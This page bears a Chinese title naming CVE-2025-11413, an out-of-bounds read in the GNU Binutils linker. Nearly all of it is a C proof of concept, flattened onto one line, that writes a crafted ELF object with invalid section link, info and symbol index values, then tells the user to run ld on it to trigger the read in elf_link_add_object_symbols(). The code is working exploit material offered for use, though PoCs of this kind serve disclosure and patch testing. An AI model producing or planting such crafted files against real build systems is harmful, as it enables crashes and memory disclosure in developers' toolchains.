CVE-2025-11413：GNU Binutils链接器越界读取漏洞

/* CVE-2025-11413 PoC - GNU Binutils elf_link_add_object_symbols OOB Read * This PoC demonstrates triggering an out-of-bounds read in the linker * by crafting a malicious ELF object file with corrupted section headers. * * Usage: gcc -o poc poc.c && ./poc && ld crafted_malicious.o */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <elf.h> #include <fcntl.h> #include <unistd.h> /* Create a minimal malicious ELF object file with corrupted * symbol table section headers to trigger OOB read in * elf_link_add_object_symbols() in bfd/elflink.c */ int create_malicious_elf(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) return -1; /* ELF64 header */ Elf64_Ehdr ehdr; memset(&ehdr, 0, sizeof(ehdr)); ehdr.e_ident[0] = 0x7f; ehdr.e_ident[1] = 'E'; ehdr.e_ident[2] = 'L'; ehdr.e_ident[3] = 'F'; ehdr.e_ident[4] = ELFCLASS64; ehdr.e_ident[5] = ELFDATA2LSB; ehdr.e_ident[6] = EV_CURRENT; ehdr.e_type = ET_REL; /* Relocatable file */ ehdr.e_machine = EM_X86_64; ehdr.e_version = EV_CURRENT; ehdr.e_ehsize = sizeof(Elf64_Ehdr); ehdr.e_shentsize = sizeof(Elf64_Shdr); ehdr.e_shnum = 4; /* NULL + .symtab + .strtab + .shstrtab */ ehdr.e_shstrndx = 3; /* Section headers start after ELF header */ ehdr.e_shoff = sizeof(Elf64_Ehdr); fwrite(&ehdr, sizeof(ehdr), 1, fp); /* Section headers with corrupted symbol table info */ Elf64_Shdr shdrs[4]; memset(shdrs, 0, sizeof(shdrs)); /* SHT_NULL */ shdrs[0].sh_type = SHT_NULL; /* .symtab - crafted with invalid sh_link and sh_info to trigger OOB */ shdrs[1].sh_type = SHT_SYMTAB; shdrs[1].sh_offset = 256; shdrs[1].sh_size = 64; /* Small size but large number of entries */ shdrs[1].sh_link = 0xFFFF; /* Invalid section index */ shdrs[1].sh_info = 0xFFFF; /* Invalid - causes OOB read */ shdrs[1].sh_entsize = sizeof(Elf64_Sym); /* .strtab */ shdrs[2].sh_type = SHT_STRTAB; shdrs[2].sh_offset = 320; shdrs[2].sh_size = 16; /* .shstrtab */ shdrs[3].sh_type = SHT_STRTAB; shdrs[3].sh_offset = 336; shdrs[3].sh_size = 32; fwrite(shdrs, sizeof(shdrs), 1, fp); /* Padding to reach symbol table offset */ char padding[256 - sizeof(Elf64_Ehdr) - sizeof(shdrs)]; memset(padding, 0, sizeof(padding)); fwrite(padding, 1, sizeof(padding), fp); /* Crafted symbol table entries - intentionally malformed */ Elf64_Sym syms[2]; memset(syms, 0, sizeof(syms)); syms[0].st_name = 1; syms[0].st_info = STB_GLOBAL << 4; syms[0].st_shndx = SHN_UNDEF; syms[1].st_name = 5; syms[1].st_info = STB_GLOBAL << 4; syms[1].st_shndx = 0xFFFE; /* Invalid section index */ fwrite(syms, sizeof(syms), 1, fp); fclose(fp); return 0; } int main() { printf("[*] CVE-2025-11413 PoC - GNU Binutils OOB Read\n"); printf("[*] Creating malicious ELF object file...\n"); if (create_malicious_elf("crafted_malicious.o") != 0) { fprintf(stderr, "[-] Failed to create malicious ELF\n"); return 1; } printf("[+] Malicious ELF created: crafted_malicious.o\n"); printf("[*] Run: ld crafted_malicious.o to trigger the vulnerability\n"); printf("[*] Expected: OOB read in elf_link_add_object_symbols()\n"); return 0; }